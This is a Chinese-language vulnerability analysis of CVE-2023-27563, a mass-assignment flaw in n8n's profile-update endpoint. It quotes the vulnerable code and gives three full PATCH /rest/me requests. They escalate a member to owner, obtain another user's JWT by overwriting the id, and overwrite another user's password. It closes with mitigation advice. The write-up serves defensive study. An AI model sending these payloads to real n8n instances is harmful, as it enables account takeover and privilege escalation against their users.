`CVE-2023-27563` 是 n8n `<= 0.215.2` 中的一个批量赋值漏洞。Synacktiv 在公告中指出,已认证普通用户可以通过修改个人资料接口,向服务端提交本不应允许编辑的字段,最终实现权限提升、获取其他用户 JWT,甚至直接篡改其他用户密码。
与常见的“字段校验不严”不同,这个问题直接发生在用户对象更新逻辑中,因此影响的是账号体系本身,危害范围非常大。
基于公告中的代码片段,可以推断修复重点包括:
漏洞点位于 `packages/cli/src/controllers/me.controller.ts` 的 `updateCurrentUser()` 方法。
根据 Synacktiv 公告,可用如下环境完成复现:
为了更直观验证结果,建议启用 SQLite,便于观察数据库中文件和密码字段的变化。
公告给出的核心代码如下:
@Patch('/')
async updateCurrentUser(req, res): Promise<PublicUser> {
const { email: currentEmail } = req.user;
const newUser = new User();
Object.assign(newUser, req.user, req.body);
await validateEntity(newUser);
const user = await this.userRepository.save(newUser);
await issueCookie(res, user);
return sanitizeUser(user);
}
问题在于这句:
Object.assign(newUser, req.user, req.body);
服务端先将当前用户对象复制到 `newUser`,随后又把 `req.body` 中的所有字段直接合并进去。只要请求体里包含敏感属性,这些属性就会覆盖原对象中的对应值。整个过程中没有针对敏感字段做白名单限制,也没有阻止用户修改并不属于自己的对象标识。
普通用户可直接调用个人资料修改接口,把自己的角色改为 owner:
PATCH /rest/me HTTP/1.1
Host: target
Cookie: n8n-auth=<member 用户登录态>
Content-Type: application/json
{
"email": "user@pwn.local",
"globalRole": {
"id": 1
}
}
如果保存成功,返回结果中的 `globalRoleId` 将变为 `1`,对应全局 owner 权限。此时攻击者已经完成从普通成员到账户管理员的权限提升。
由于请求体中的 `id` 也可以被覆盖,攻击者可以把待更新对象“切换”为其他用户:
PATCH /rest/me HTTP/1.1
Host: target
Cookie: n8n-auth=<member 用户登录态>
Content-Type: application/json
{
"id": "529c8a11-40e4-4a69-9862-98d101ccc591",
"email": "owner-pwn@pwn.local"
}
问题的关键不只是数据库内容被改写,还在于服务端后续执行了:
await issueCookie(res, user);
也就是说,保存后的对象是谁,服务端就会给谁重新签发 Cookie。这样一来,攻击者虽然最初使用的是普通成员账号,但响应里返回的 `Set-Cookie` 却会变成目标用户的 JWT,从而实现账户接管。
在同样的逻辑下,攻击者还能直接改写目标用户密码:
PATCH /rest/me HTTP/1.1
Host: target
Cookie: n8n-auth=<member 用户登录态>
Content-Type: application/json
{
"id": "529c8a11-40e4-4a69-9862-98d101ccc591",
"email": "owner-pwn@pwn.local",
"password": "BadPasswordToInsertInDatabase"
}
Synacktiv 的演示结果表明,目标用户密码字段会被直接写入数据库。无论应用后续是否做额外密码处理,这种“允许普通用户修改其他账号密码”的能力本身就已经构成严重账户安全问题。

该漏洞属于典型的 Mass Assignment(批量赋值)问题。框架或开发者为了简化对象更新逻辑,直接把用户输入整体合并到模型对象中,却忽略了其中可能包含高敏感度字段。只要缺少字段级访问控制,攻击者就能通过“提交本不该由自己控制的属性”完成提权或越权操作。
`CVE-2023-27563` 的危险性在于它直接攻击了 n8n 的用户对象更新机制。普通登录用户不仅可以修改自身资料,还可以借助批量赋值缺陷覆盖角色、用户 ID、邮箱、密码等关键字段,最终实现提权、会话伪造和账号接管。
此类问题的防护关键并不复杂,但必须贯彻到底:只接收明确允许修改的字段,只基于服务端可信身份确定更新目标,并对角色、密码、ID 等敏感属性设置独立的安全流程。否则,一个看似普通的资料编辑接口,就可能演变成整套权限系统的突破口。